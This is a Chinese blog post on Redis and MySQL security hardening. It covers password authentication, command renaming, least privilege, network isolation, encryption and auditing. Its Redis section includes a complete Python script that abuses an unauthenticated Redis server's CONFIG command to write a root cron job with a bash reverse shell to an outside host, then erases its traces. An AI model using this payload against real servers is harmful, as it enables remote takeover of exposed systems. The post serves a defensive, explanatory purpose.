系统安全 - Redis&MySQL安全及实践


在这里插入图片描述


导图

在这里插入图片描述


Redis 安全

Redis的设计初衷是为了在可信环境下提供高性能的KV数据库服务,因此它的安全设计较为简陋,这也导致了其在公开网络中的安全性较差。

潜在的安全风险

  • 数据篡改:如果黑客成功连接到Redis服务器,他们可以通过命令如FLUSHALL清空所有数据。
  • 命令执行:Redis虽然不能直接执行命令,但通过配置文件操作如CONFIG,攻击者可以间接写入如crontab的恶意任务,从而执行系统命令来控制服务器。
import redis

r = redis.Redis(host='10.0.0.1', port=6379, db=0, socket_timeout=10)
payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\n\n'
path = '/var/spool/cron'
name = 'root'
key = 'payload'

# 设置 Redis 键值对
r.set(key, payload)

# 配置 Redis 操作目录并保存恶意 payload 到 cron 文件
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()

# 删除 Redis 中的键值对,清除操作痕迹
r.delete(key)

# 将 Redis 的工作目录恢复到临时目录
r.config_set('dir', '/tmp')

利用 Redis 的 CONFIG 命令和一些其他命令来尝试进行恶意操作,在目标系统上植入一个反向 shell,并清除操作痕迹。这种攻击模式通常涉及篡改系统的 cron 任务计划文件 (/var/spool/cron) 来启动恶意 shell


防护措施

密码认证

redis.conf中设置requirepass来增加密码认证,虽然这可能会略微影响性能,但对于在不受信网络中的Redis部署,强密码认证是必不可少的,比较推荐随机生成一个 32 位的“数字加字母”的密码。

命令重命名

通过rename-command将敏感命令如CONFIGFLUSHALL重命名为随机字符串,避免黑客轻易调用这些命令。 比如 rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho

权限最小化

Redis应以低权限用户(如nobody)运行,避免root权限运行,防止攻击者获取到过高的权限。(Redis 本身也需要保存日志和持久化数据,所以,它仍然需要写入日志文件的权限(小于 ROOT 权限)来保证正常运行)

日志和审计 Red

is的日志功能相对简单,没有详细的审计信息,因此在重要应用中,建议结合外部日志系统进行日志收集和分析。

网络隔离

建议通过防火墙或网络策略限制外部访问Redis实例,仅允许可信IP访问。


MySQL 安全

与Redis相比,MySQL作为一个成熟的关系型数据库,其安全机制要完善得多,提供了认证、授权、加密等一系列功能。

认证和授权

  • MySQL的多用户认证体系将用户的信息存储在mysql.user表中,并支持密码过期、密码重用限制、密码强度评估等功能,提供了较为全面的密码管理。
  • MySQL的授权机制通过GRANT命令赋予用户对特定数据库或表的权限,支持细粒度的权限控制。GRANT ALL PRIVILEGES ON db.table TO user@"127.0.0.1" IDENTIFIED BY "password"

文件操作风险

  • MySQL提供了对本地文件的读写功能,例如通过LOAD DATA INFILE读取文件,SELECT ... INTO DUMPFILE写入文件。这些功能虽然方便,但如果配置不当,可能会被黑客利用来读取敏感文件或写入恶意脚本。

传输和存储加密

  • 传输加密:MySQL支持通过SSL加密客户端和服务器之间的通信。通过配置ssl-cassl-certssl-key等参数可以启用SSL。
    在这里插入图片描述

  • 存储加密:MySQL支持基于keyring_file插件的硬盘加密,表密钥通过主密钥加密后存储在表的表头中。需要注意备份主密钥文件,以防止数据丢失。


最小权限原则

  • MySQL会自动创建一个权限较低的mysql用户用于运行MySQL进程,避免以root权限运行数据库实例。

审计

虽然MySQL本身不提供内置的审计功能,但可以通过第三方插件如McAfee的mysql-audit或MariaDB的审计插件进行操作日志的收集和分析。


总结

在这里插入图片描述

  • Redis:主要在于性能优先,因此其安全功能较少。通过设置密码、限制网络访问、使用非root用户运行等方式,能在一定程度上提升安全性。
  • MySQL:功能更加完善,具有强大的认证、授权、加密和最小权限配置,通过合理配置这些安全功能,可以显著提升MySQL的安全性。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小小工匠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值